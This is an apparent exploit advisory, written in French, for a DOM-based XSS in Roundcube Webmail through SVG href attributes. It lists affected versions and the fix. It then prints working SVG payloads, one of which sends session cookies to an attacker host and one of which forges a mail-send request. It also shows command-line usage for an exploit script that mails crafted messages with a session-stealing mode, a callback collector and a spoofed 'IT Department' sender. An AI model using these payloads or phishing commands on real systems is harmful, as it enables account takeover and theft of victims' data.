
Exploit Python pour XSS basé sur le DOM dans Roundcube Webmail (CVE-2026-25916) via les attributs href SVG, permettant le détournement de session et l'exfiltration de données via des e-mails conçus.
Titre de l'exploit : XSS DOM dans Roundcube Webmail via href SVG (CVE-2026-25916)
Auteur : Mohammed Idrees Banyamer
Contact : GitHub @mbanyamer | Instagram @banyamer_security
Pays : Jordanie
Date : 9 février 2026
CVE : CVE-2026-25916
Type : Cross-Site Scripting (XSS) basé sur le DOM
Plateforme : Application Web
Testé sur : Roundcube 1.6.8, Ubuntu 22.04
Score CVSS : 6.1 (Moyen)
⚠️ AVERTISSEMENT : Cet exploit est destiné uniquement à des fins éducatives et de tests autorisés.
Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.
L'auteur n'est pas responsable de toute utilisation abusive ou activité illégale.
Les versions de Roundcube Webmail antérieures à 1.6.9 contiennent une vulnérabilité XSS basée sur le DOM dans la gestion des SVG. L'application ne parvient pas à assainir correctement les attributs et dans les éléments SVG, permettant l'exécution de JavaScript via des e-mails spécialement conçus.
hrefxlink:hrefVersions concernées : Roundcube Webmail < 1.6.9
Corrigé dans : Version 1.6.9 (Commit 26d7677)
CWE : CWE-79 - Neutralisation incorrecte des entrées lors de la génération de pages Web
Vecteur d'attaque : À distance via e-mail
Impact : Détournement de session, prise de contrôle du compte, exfiltration de données
La vulnérabilité existe dans rcube_washtml.php où les attributs href dans les éléments SVG n'étaient pas correctement validés :
<!-- Éléments SVG vulnérables -->
<use href="javascript:alert(document.cookie)">
<image xlink:href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">
<a xlink:href="javascript:fetch('/?_task=mail&_action=send',{method:'POST',body:'[email protected]'})">
```bash
python3 cve-2026-25916.py -s smtp.gmail.com -p 587 -u [email protected] -w your_password -r [email protected]
python3 cve-2026-25916.py \
-s smtp.gmail.com \
-p 587 \
-u [email protected] \
-w app_password \
-r [email protected] \
-t session_steal \
--callback https://yourserver.com/collect \
--subject "Security Alert" \
--from-name "IT Department"